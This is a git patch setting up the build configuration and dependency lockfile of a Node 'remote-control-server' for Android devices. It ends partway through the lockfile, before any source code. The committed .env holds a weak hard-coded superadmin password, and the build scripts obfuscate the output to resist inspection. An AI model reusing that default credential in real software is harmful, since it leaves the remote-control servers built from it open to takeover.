From 24808d8f758a0ee4f745af974e4751506c470e10 Mon Sep 17 00:00:00 2001 From: originalFactor <2438926613@qq.com> Date: Sat, 14 Feb 2026 09:55:39 +0800 Subject: [PATCH] (rebase) Avoid include binaries and dists in repo. --- .env | 2 + .gitignore | 6 + deploy-package.json | 9 + fix-better-sqlite3.sh | 42 + nodemon.json | 17 + obfuscate.config.js | 36 + package.json | 84 + pnpm-lock.yaml | 3831 +++++++++++++++ pnpm-workspace.yaml | 3 + scripts/compile-to-bytecode.js | 113 + scripts/obfuscate.js | 116 + src/index.ts | 2358 +++++++++ src/managers/DeviceManager.ts | 230 + src/managers/WebClientManager.ts | 466 ++ src/server.ts | 320 ++ src/services/APKBuildService.ts | 2405 ++++++++++ src/services/AdaptiveQualityService.ts | 278 ++ src/services/AuthService.ts | 691 +++ src/services/CloudflareShareService.ts | 506 ++ src/services/ConnectionPoolService.ts | 268 ++ src/services/DatabaseService.ts | 2210 +++++++++ src/services/DeviceInfoSyncService.ts | 242 + src/services/MessageRouter.ts | 5261 +++++++++++++++++++++ src/services/OptimizationService.ts | 180 + src/services/PerformanceMonitorService.ts | 341 ++ src/utils/Logger.ts | 45 + tsconfig.json | 35 + 27 files changed, 20095 insertions(+) create mode 100644 .env create mode 100644 .gitignore create mode 100644 deploy-package.json create mode 100644 fix-better-sqlite3.sh create mode 100644 nodemon.json create mode 100644 obfuscate.config.js create mode 100644 package.json create mode 100644 pnpm-lock.yaml create mode 100644 pnpm-workspace.yaml create mode 100644 scripts/compile-to-bytecode.js create mode 100644 scripts/obfuscate.js create mode 100644 src/index.ts create mode 100644 src/managers/DeviceManager.ts create mode 100644 src/managers/WebClientManager.ts create mode 100644 src/server.ts create mode 100644 src/services/APKBuildService.ts create mode 100644 src/services/AdaptiveQualityService.ts create mode 100644 src/services/AuthService.ts create mode 100644 src/services/CloudflareShareService.ts create mode 100644 src/services/ConnectionPoolService.ts create mode 100644 src/services/DatabaseService.ts create mode 100644 src/services/DeviceInfoSyncService.ts create mode 100644 src/services/MessageRouter.ts create mode 100644 src/services/OptimizationService.ts create mode 100644 src/services/PerformanceMonitorService.ts create mode 100644 src/utils/Logger.ts create mode 100644 tsconfig.json diff --git a/.env b/.env new file mode 100644 index 0000000..3ee50f7 --- /dev/null +++ b/.env @@ -0,0 +1,2 @@ +SUPERADMIN_USERNAME=superadmin +SUPERADMIN_PASSWORD=superadmin123456789 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..be8b104 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +node_modules/ +dist/ +devices.db +.user_data.json +android/ +public/ \ No newline at end of file diff --git a/deploy-package.json b/deploy-package.json new file mode 100644 index 0000000..8c16e87 --- /dev/null +++ b/deploy-package.json @@ -0,0 +1,9 @@ +{ + "name": "remote-control-server", + "version": "1.0.3", + "description": "Remote Control Server - Runtime Dependencies for pkg", + "dependencies": { + "better-sqlite3": "^11.10.0" + } +} + diff --git a/fix-better-sqlite3.sh b/fix-better-sqlite3.sh new file mode 100644 index 0000000..0971d26 --- /dev/null +++ b/fix-better-sqlite3.sh @@ -0,0 +1,42 @@ +#!/bin/bash +# better-sqlite3 修复脚本 +# 用于在部署目录重新编译 better-sqlite3 以匹配 pkg 的 Node.js 18 + +cd /opt/deploy || exit 1 + +echo "正在修复 better-sqlite3 原生模块..." + +# 检查 package.json 是否存在 +if [ ! -f "package.json" ]; then + echo "创建 package.json..." + cat > package.json << 'EOF' +{ + "name": "remote-control-server", + "version": "1.0.3", + "dependencies": { + "better-sqlite3": "^11.10.0" + } +} +EOF +fi + +# 安装依赖 +echo "安装 better-sqlite3..." +npm install --production + +# 重新编译 better-sqlite3 以匹配 Node.js 18 (NODE_MODULE_VERSION 108) +echo "重新编译 better-sqlite3 以匹配 Node.js 18..." +cd node_modules/better-sqlite3 || exit 1 + +# 使用 node-gyp 重新编译 +npx node-gyp rebuild --target=18.0.0 --arch=x64 --target_platform=linux + +if [ $? -eq 0 ]; then + echo "✅ better-sqlite3 重新编译成功!" + echo "现在可以运行 ./remote-control-server" +else + echo "❌ 重新编译失败,尝试使用 npm rebuild..." + cd /opt/deploy + npm rebuild better-sqlite3 --target=18 --target_arch=x64 --target_platform=linux +fi + diff --git a/nodemon.json b/nodemon.json new file mode 100644 index 0000000..0904998 --- /dev/null +++ b/nodemon.json @@ -0,0 +1,17 @@ +{ + "watch": ["src"], + "ignore": [ + "android/source_apk/**/*", + "android/*.keystore", + "android/*.jks", + "android/build_output/**/*", + "logs/**/*", + "devices.db", + "node_modules/**/*", + "public/**/*" + ], + "ext": "ts,js,json", + "exec": "ts-node src/index.ts", + "delay": 1000 +} + diff --git a/obfuscate.config.js b/obfuscate.config.js new file mode 100644 index 0000000..e2ee508 --- /dev/null +++ b/obfuscate.config.js @@ -0,0 +1,36 @@ +/** + * JavaScript 混淆配置 + * 用于增加代码阅读难度,防止代码被轻易破解 + */ +module.exports = { + compact: true, + controlFlowFlattening: true, + controlFlowFlatteningThreshold: 0.75, + deadCodeInjection: true, + deadCodeInjectionThreshold: 0.4, + debugProtection: false, // 设置为 true 会阻止调试,但可能影响性能 + debugProtectionInterval: 0, + disableConsoleOutput: false, // 设置为 true 会移除 console,但可能影响调试 + identifierNamesGenerator: 'hexadecimal', + log: false, + numbersToExpressions: true, + renameGlobals: false, + selfDefending: false, // 设置为 false,避免与 pkg 冲突 + simplify: true, + splitStrings: true, + splitStringsChunkLength: 10, + stringArray: true, + stringArrayCallsTransform: true, + stringArrayEncoding: ['base64'], + stringArrayIndexShift: true, + stringArrayRotate: true, + stringArrayShuffle: true, + stringArrayWrappersCount: 2, + stringArrayWrappersChainedCalls: true, + stringArrayWrappersParametersMaxCount: 4, + stringArrayWrappersType: 'function', + stringArrayThreshold: 0.75, + transformObjectKeys: true, + unicodeEscapeSequence: false +} + diff --git a/package.json b/package.json new file mode 100644 index 0000000..2771d82 --- /dev/null +++ b/package.json @@ -0,0 +1,84 @@ +{ + "name": "remote-control-server", + "version": "1.0.3", + "description": "Android远程控制服务端 - 修复连接稳定性问题", + "main": "dist/index.js", + "bin": "dist/index.js", + "scripts": { + "start": "node dist/index.js", + "dev": "nodemon src/index.ts", + "build": "tsc", + "obfuscate": "node scripts/obfuscate.js dist dist-obfuscated", + "build:obfuscated": "npm run build && npm run obfuscate", + "build:linux": "npm run build && pkg dist/index.js --targets node18-linux-x64 --output dist/server", + "build:linux:obfuscated": "npm run build:obfuscated && pkg dist-obfuscated/index.js --targets node18-linux-x64 --output dist/server", + "build:linux:fast": "npm run build && ncc build dist/index.js -o dist/bundle -m --no-source-map-register", + "build:linux:fast:obfuscated": "npm run build:obfuscated && ncc build dist-obfuscated/index.js -o dist/bundle -m --no-source-map-register", + "build:linux:standalone": "npm run build:linux:fast && node -e \"const fs=require('fs');const content=fs.readFileSync('dist/bundle/index.js');fs.writeFileSync('dist/remote-control-server.js','#!/usr/bin/env node\\n'+content);\"", + "build:linux:standalone:obfuscated": "npm run build:linux:fast:obfuscated && node -e \"const fs=require('fs');const content=fs.readFileSync('dist/bundle/index.js');fs.writeFileSync('dist/remote-control-server.js','#!/usr/bin/env node\\n'+content);\"", + "pkg": "pkg", + "test": "echo \"Error: no test specified\" && exit 1" + }, + "pkg": { + "scripts": [ + "dist/**/*.js", + "dist-obfuscated/**/*.js" + ], + "assets": [ + "android/**/*", + "public/**/*", + "src/source_apk/**/*" + ], + "outputPath": "dist", + "targets": [ + "node18-win-x64", + "node18-linux-x64", + "node18-macos-x64" + ], + "browser": false, + "bytenode": false + }, + "keywords": [ + "remote-control", + "android", + "websocket", + "screen-sharing" + ], + "author": "", + "license": "MIT", + "dependencies": { + "@types/bcryptjs": "^2.4.6", + "@types/jsonwebtoken": "^9.0.10", + "@types/multer": "^1.4.13", + "@types/node": "^20.11.24", + "bcryptjs": "^3.0.2", + "cors": "^2.8.5", + "dotenv": "^17.2.3", + "express": "^4.18.2", + "jsonwebtoken": "^9.0.2", + "multer": "^2.0.1", + "socket.io": "^4.8.1", + "sqlite3": "^5.1.7", + "uuid": "^11.0.3", + "winston": "^3.11.0", + "ws": "^8.18.0" + }, + "devDependencies": { + "@types/better-sqlite3": "^7.6.13", + "@types/cors": "^2.8.17", + "@types/express": "^5.0.2", + "@types/uuid": "^10.0.0", + "@types/ws": "^8.5.13", + "@vercel/ncc": "^0.38.4", + "bytenode": "^1.5.7", + "javascript-obfuscator": "^4.1.1", + "nodemon": "^3.1.7", + "pkg": "^5.8.1", + "terser": "^5.44.1", + "ts-node": "^10.9.2", + "typescript": "^5.7.2" + }, + "optionalDependencies": { + "better-sqlite3": "^12.6.2" + } +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml new file mode 100644 index 0000000..1ade72d --- /dev/null +++ b/pnpm-lock.yaml @@ -0,0 +1,3831 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: + dependencies: + '@types/bcryptjs': + specifier: ^2.4.6 + version: 2.4.6 + '@types/jsonwebtoken': + specifier: ^9.0.10 + version: 9.0.10 + '@types/multer': + specifier: ^1.4.13 + version: 1.4.13 + '@types/node': + specifier: ^20.11.24 + version: 20.19.33 + bcryptjs: + specifier: ^3.0.2 + version: 3.0.3 + cors: + specifier: ^2.8.5 + version: 2.8.6 + dotenv: + specifier: ^17.2.3 + version: 17.3.1 + express: + specifier: ^4.18.2 + version: 4.22.1 + jsonwebtoken: + specifier: ^9.0.2 + version: 9.0.3 + multer: + specifier: ^2.0.1 + version: 2.0.2 + socket.io: + specifier: ^4.8.1 + version: 4.8.3 + sqlite3: + specifier: ^5.1.7 + version: 5.1.7 + uuid: + specifier: ^11.0.3 + version: 11.1.0 + winston: + specifier: ^3.11.0 + version: 3.19.0 + ws: + specifier: ^8.18.0 + version: 8.19.0 + devDependencies: + '@types/better-sqlite3': + specifier: ^7.6.13 + version: 7.6.13 + '@types/cors': + specifier: ^2.8.17 + version: 2.8.19 + '@types/express': + specifier: ^5.0.2 + version: 5.0.6 + '@types/uuid': + specifier: ^10.0.0 + version: 10.0.0 + '@types/ws': + specifier: ^8.5.13 + version: 8.18.1 + '@vercel/ncc': + specifier: ^0.38.4 + version: 0.38.4 + bytenode: + specifier: ^1.5.7 + version: 1.5.7 + javascript-obfuscator: + specifier: ^4.1.1 + version: 4.2.2 + nodemon: + specifier: ^3.1.7 + version: 3.1.11 + pkg: + specifier: ^5.8.1 + version: 5.8.1(encoding@0.1.13) + terser: + specifier: ^5.44.1 + version: 5.46.0 + ts-node: + specifier: ^10.9.2 + version: 10.9.2(@types/node@20.19.33)(typescript@5.9.3) + typescript: + specifier: ^5.7.2 + version: 5.9.3 + optionalDependencies: + better-sqlite3: + specifier: ^12.6.2 + version: 12.6.2 + +packages: + + '@babel/generator@7.18.2': + resolution: {integrity: sha512-W1lG5vUwFvfMd8HVXqdfbuG7RuaSrTCCD8cl8fP8wOivdbtbIg2Db3IWUcgvfxKbbn6ZBGYRW/Zk1MIwK49mgw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.27.1': + resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.28.5': + resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.18.4': + resolution: {integrity: sha512-FDge0dFazETFcxGw/EXzOkN8uJp0PC7Qbm+Pe9T+av2zlBpOgunFHkQPPn+eRuClU73JF+98D531UgayY89tow==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/types@7.19.0': + resolution: {integrity: sha512-YuGopBq3ke25BVSiS6fgF49Ul9gH1x70Bcr6bqRLjWCkcX8Hre1/5+z+IiWOIerRMSSEfGZVB9z9kyq7wVs9YA==} + engines: {node: '>=6.9.0'} + + '@colors/colors@1.6.0': + resolution: {integrity: sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA==} + engines: {node: '>=0.1.90'} + + '@cspotcode/source-map-support@0.8.1': + resolution: {integrity: sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==} + engines: {node: '>=12'} + + '@dabh/diagnostics@2.0.8': + resolution: {integrity: sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q==} + + '@gar/promisify@1.1.3': + resolution: {integrity: sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==} + + '@inversifyjs/common@1.3.3': + resolution: {integrity: sha512-ZH0wrgaJwIo3s9gMCDM2wZoxqrJ6gB97jWXncROfYdqZJv8f3EkqT57faZqN5OTeHWgtziQ6F6g3L8rCvGceCw==} + + '@inversifyjs/core@1.3.4': + resolution: {integrity: sha512-gCCmA4BdbHEFwvVZ2elWgHuXZWk6AOu/1frxsS+2fWhjEk2c/IhtypLo5ytSUie1BCiT6i9qnEo4bruBomQsAA==} + + '@inversifyjs/reflect-metadata-utils@0.2.3': + resolution: {integrity: sha512-d3D0o9TeSlvaGM2I24wcNw/Aj3rc4OYvHXOKDC09YEph5fMMiKd6fq1VTQd9tOkDNWvVbw+cnt45Wy9P/t5Lvw==} + peerDependencies: + reflect-metadata: 0.2.2 + + '@javascript-obfuscator/escodegen@2.3.1': + resolution: {integrity: sha512-Z0HEAVwwafOume+6LFXirAVZeuEMKWuPzpFbQhCEU9++BMz0IwEa9bmedJ+rMn/IlXRBID9j3gQ0XYAa6jM10g==} + engines: {node: '>=6.0'} + + '@javascript-obfuscator/estraverse@5.4.0': + resolution: {integrity: sha512-CZFX7UZVN9VopGbjTx4UXaXsi9ewoM1buL0kY7j1ftYdSs7p2spv9opxFjHlQ/QGTgh4UqufYqJJ0WKLml7b6w==} + engines: {node: '>=4.0'} + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/source-map@0.3.11': + resolution: {integrity: sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@jridgewell/trace-mapping@0.3.9': + resolution: {integrity: sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==} + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@npmcli/fs@1.1.1': + resolution: {integrity: sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==} + + '@npmcli/move-file@1.1.2': + resolution: {integrity: sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==} + engines: {node: '>=10'} + deprecated: This functionality has been moved to @npmcli/fs + + '@so-ric/colorspace@1.1.6': + resolution: {integrity: sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw==} + + '@socket.io/component-emitter@3.1.2': + resolution: {integrity: sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==} + + '@tootallnate/once@1.1.2': + resolution: {integrity: sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==} + engines: {node: '>= 6'} + + '@tsconfig/node10@1.0.12': + resolution: {integrity: sha512-UCYBaeFvM11aU2y3YPZ//O5Rhj+xKyzy7mvcIoAjASbigy8mHMryP5cK7dgjlz2hWxh1g5pLw084E0a/wlUSFQ==} + + '@tsconfig/node12@1.0.11': + resolution: {integrity: sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==} + + '@tsconfig/node14@1.0.3': + resolution: {integrity: sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==} + + '@tsconfig/node16@1.0.4': + resolution: {integrity: sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==} + + '@types/bcryptjs@2.4.6': + resolution: {integrity: sha512-9xlo6R2qDs5uixm0bcIqCeMCE6HiQsIyel9KQySStiyqNl2tnj2mP3DX1Nf56MD6KMenNNlBBsy3LJ7gUEQPXQ==} + + '@types/better-sqlite3@7.6.13': + resolution: {integrity: sha512-NMv9ASNARoKksWtsq/SHakpYAYnhBrQgGD8zkLYk/jaK8jUGn08CfEdTRgYhMypUQAfzSP8W6gNLe0q19/t4VA==} + + '@types/body-parser@1.19.6': + resolution: {integrity: sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==} + + '@types/connect@3.4.38': + resolution: {integrity: sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==} + + '@types/cors@2.8.19': + resolution: {integrity: sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg==} + + '@types/express-serve-static-core@5.1.1': + resolution: {integrity: sha512-v4zIMr/cX7/d2BpAEX3KNKL/JrT1s43s96lLvvdTmza1oEvDudCqK9aF/djc/SWgy8Yh0h30TZx5VpzqFCxk5A==} + + '@types/express@5.0.6': + resolution: {integrity: sha512-sKYVuV7Sv9fbPIt/442koC7+IIwK5olP1KWeD88e/idgoJqDm3JV/YUiPwkoKK92ylff2MGxSz1CSjsXelx0YA==} + + '@types/http-errors@2.0.5': + resolution: {integrity: sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==} + + '@types/jsonwebtoken@9.0.10': + resolution: {integrity: sha512-asx5hIG9Qmf/1oStypjanR7iKTv0gXQ1Ov/jfrX6kS/EO0OFni8orbmGCn0672NHR3kXHwpAwR+B368ZGN/2rA==} + + '@types/minimatch@3.0.5': + resolution: {integrity: sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==} + + '@types/ms@2.1.0': + resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} + + '@types/multer@1.4.13': + resolution: {integrity: sha512-bhhdtPw7JqCiEfC9Jimx5LqX9BDIPJEh2q/fQ4bqbBPtyEZYr3cvF22NwG0DmPZNYA0CAf2CnqDB4KIGGpJcaw==} + + '@types/node@20.19.33': + resolution: {integrity: sha512-Rs1bVAIdBs5gbTIKza/tgpMuG1k3U/UMJLWecIMxNdJFDMzcM5LOiLVRYh3PilWEYDIeUDv7bpiHPLPsbydGcw==} + + '@types/qs@6.14.0': + resolution: {integrity: sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==} + + '@types/range-parser@1.2.7': + resolution: {integrity: sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==} + + '@types/send@1.2.1': + resolution: {integrity: sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==} + + '@types/serve-static@2.2.0': + resolution: {integrity: sha512-8mam4H1NHLtu7nmtalF7eyBH14QyOASmcxHhSfEoRyr0nP/YdoesEtU+uSRvMe96TW/HPTtkoKqQLl53N7UXMQ==} + + '@types/triple-beam@1.3.5': + resolution: {integrity: sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==} + + '@types/uuid@10.0.0': + resolution: {integrity: sha512-7gqG38EyHgyP1S+7+xomFtL+ZNHcKv6DwNaCZmJmo1vgMugyF3TCnXVg4t1uk89mLNwnLtnY3TpOpCOyp1/xHQ==} + + '@types/validator@13.15.10': + resolution: {integrity: sha512-T8L6i7wCuyoK8A/ZeLYt1+q0ty3Zb9+qbSSvrIVitzT3YjZqkTZ40IbRsPanlB4h1QB3JVL1SYCdR6ngtFYcuA==} + + '@types/ws@8.18.1': + resolution: {integrity: sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==} + + '@vercel/ncc@0.38.4': + resolution: {integrity: sha512-8LwjnlP39s08C08J5NstzriPvW1SP8Zfpp1BvC2sI35kPeZnHfxVkCwu4/+Wodgnd60UtT1n8K8zw+Mp7J9JmQ==} + hasBin: true + + abbrev@1.1.1: + resolution: {integrity: sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==} + + accepts@1.3.8: + resolution: {integrity: sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==} + engines: {node: '>= 0.6'} + + acorn-walk@8.3.4: + resolution: {integrity: sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==} + engines: {node: '>=0.4.0'} + + acorn@8.15.0: + resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==} + engines: {node: '>=0.4.0'} + hasBin: true + + agent-base@6.0.2: + resolution: {integrity: sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==} + engines: {node: '>= 6.0.0'} + + agentkeepalive@4.6.0: + resolution: {integrity: sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==} + engines: {node: '>= 8.0.0'} + + aggregate-error@3.1.0: + resolution: {integrity: sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==} + engines: {node: '>=8'} + + ajv-formats@3.0.1: + resolution: {integrity: sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==} + peerDependencies: + ajv: ^8.0.0 + peerDependenciesMeta: + ajv: + optional: true + + ajv@8.17.1: + resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + anymatch@3.1.3: + resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} + engines: {node: '>= 8'} + + append-field@1.0.0: + resolution: {integrity: sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw==} + + aproba@2.1.0: + resolution: {integrity: sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==} + + are-we-there-yet@3.0.1: + resolution: {integrity: sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + deprecated: This package is no longer supported. + + arg@4.1.3: + resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==} + + array-differ@3.0.0: + resolution: {integrity: sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg==} + engines: {node: '>=8'} + + array-flatten@1.1.1: + resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==} + + array-union@2.1.0: + resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} + engines: {node: '>=8'} + + arrify@2.0.1: + resolution: {integrity: sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==} + engines: {node: '>=8'} + + assert@2.1.0: + resolution: {integrity: sha512-eLHpSK/Y4nhMJ07gDaAzoX/XAKS8PSaojml3M0DM4JpV1LAi5JOJ/p6H/XWrl8L+DzVEvVCW1z3vWAaB9oTsQw==} + + async@3.2.6: + resolution: {integrity: sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==} + + at-least-node@1.0.0: + resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==} + engines: {node: '>= 4.0.0'} + + atomically@2.1.1: + resolution: {integrity: sha512-P4w9o2dqARji6P7MHprklbfiArZAWvo07yW7qs3pdljb3BWr12FIB7W+p0zJiuiVsUpRO0iZn1kFFcpPegg0tQ==} + + 